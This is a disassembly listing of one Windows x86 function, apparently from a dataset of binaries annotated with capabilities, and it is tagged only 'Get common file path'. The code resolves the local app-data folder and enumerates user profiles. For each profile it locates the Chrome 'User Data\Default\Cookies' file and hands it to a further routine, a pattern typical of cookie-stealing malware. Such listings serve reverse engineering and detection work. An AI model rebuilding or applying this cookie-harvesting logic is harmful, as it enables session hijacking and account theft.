Function at 0x4a4c70
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5d5410
mov eax, dword fs:[0]
push eax
sub esp, 0x2a8
mov eax, dword [0x6385e0]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x29c], ecx
mov eax, dword [ebp - 0x29c]
movzx ecx, byte [eax + 8]
test ecx, ecx
jne 0x4a4cb6
mov al, 1
jmp 0x4a5038
mov byte [ebp - 0x231], 0
lea ecx, [ebp - 0x18]
call fcn.004b34a0
mov dword [ebp - 4], 0
push 0x1c
lea edx, [ebp - 0x230]
push edx
call fcn.004c0e70
add esp, 8
mov byte [ebp - 4], 1
lea eax, [ebp - 0x224]
push eax
push 0
push 0
push 0x10
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x4a5008
lea ecx, [ebp - 0x224]
push ecx
lea ecx, [ebp - 0x18]
call fcn.004b38f0
push 0x5c
lea ecx, [ebp - 0x18]
call fcn.004b4e90
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0
jle 0x4a5008
mov edx, dword [ebp - 0x238]
add edx, 1
mov dword [ebp - 0x238], edx
mov eax, dword [ebp - 0x238]
push eax
push 0x5c
lea ecx, [ebp - 0x18]
call fcn.004b4ed0
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0
jle 0x4a5008
mov ecx, dword [ebp - 0x238]
add ecx, 1
mov dword [ebp - 0x238], ecx
lea ecx, [ebp - 0x18]
call fcn.00404b70
sub eax, dword [ebp - 0x238]
push eax
mov edx, dword [ebp - 0x238]
push edx
lea ecx, [ebp - 0x18]
call fcn.004b5a90
push 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x230]
call fcn.004b69b0
movzx ecx, al
test ecx, ecx
je 0x4a5008
lea ecx, [ebp - 0x18]
call fcn.00404b70
push eax
lea edx, [ebp - 0x248]
push edx
lea ecx, [ebp - 0x230]
call fcn.004b64e0
mov byte [ebp - 4], 2
push 0x5c
lea ecx, [ebp - 0x248]
call fcn.004b4e90
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0
jle 0x4a4ff9
mov eax, dword [ebp - 0x23c]
add eax, 1
mov dword [ebp - 0x23c], eax
mov ecx, dword [ebp - 0x23c]
push ecx
lea edx, [ebp - 0x270]
push edx
lea ecx, [ebp - 0x248]
call fcn.004b64e0
mov dword [ebp - 0x2a0], eax
mov eax, dword [ebp - 0x2a0]
mov dword [ebp - 0x2a4], eax
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x2a4]
push ecx
lea ecx, [ebp - 0x248]
call fcn.004b3890
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x270]
call fcn.004b3860
push 0
lea ecx, [ebp - 0x254]
call fcn.00430200
mov byte [ebp - 4], 4
lea edx, [ebp - 0x254]
push edx
lea eax, [ebp - 0x18]
push eax
call fcn.004a3e50
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x4a4fea
mov dword [ebp - 0x258], 0
jmp 0x4a4e8e
mov edx, dword [ebp - 0x258]
add edx, 1
mov dword [ebp - 0x258], edx
lea ecx, [ebp - 0x254]
call fcn.004b9730
cmp dword [ebp - 0x258], eax
jge 0x4a4fea
mov eax, dword [ebp - 0x258]
push eax
lea ecx, [ebp - 0x254]
call fcn.00430700
push eax
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x264]
push edx
call fcn.00412f50
add esp, 0xc
mov byte [ebp - 4], 5
lea eax, [ebp - 0x248]
push eax
lea ecx, [ebp - 0x264]
push ecx
lea edx, [ebp - 0x27c]
push edx
call fcn.00412f50
add esp, 0xc
mov dword [ebp - 0x2a8], eax
mov eax, dword [ebp - 0x2a8]
mov dword [ebp - 0x2ac], eax
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x2ac]
push ecx
lea ecx, [ebp - 0x264]
call fcn.004b3890
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x27c]
call fcn.004b3860
push str.GoogleChromeUser_DataDefaultCookies
lea ecx, [ebp - 0x288]
call fcn.004b3550
mov byte [ebp - 4], 7
lea edx, [ebp - 0x288]
push edx
lea eax, [ebp - 0x264]
push eax
lea ecx, [ebp - 0x294]
push ecx
call fcn.00412f50
add esp, 0xc
mov dword [ebp - 0x2b0], eax
mov edx, dword [ebp - 0x2b0]
mov dword [ebp - 0x2b4], edx
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x2b4]
push eax
lea ecx, [ebp - 0x264]
call fcn.004b3890
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x294]
call fcn.004b3860
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x288]
call fcn.004b3860
lea ecx, [ebp - 0x264]
push ecx
call fcn.004bc0e0
add esp, 4
movzx edx, al
test edx, edx
je 0x4a4fd6
mov eax, dword [ebp + 8]
push eax
push 1
lea ecx, [ebp - 0x264]
push ecx
mov ecx, dword [ebp - 0x29c]
call fcn.004a5060
movzx edx, al
test edx, edx
je 0x4a4fd6
mov byte [ebp - 0x231], 1
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x264]
call fcn.004b3860
jmp 0x4a4e7f
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x254]
call fcn.00430250
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x248]
call fcn.004b3860
mov al, byte [ebp - 0x231]
mov byte [ebp - 0x295], al
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x230]
call fcn.004b3860
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.004b3860
mov al, byte [ebp - 0x295]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0054d4f5
mov esp, ebp
pop ebp
ret 4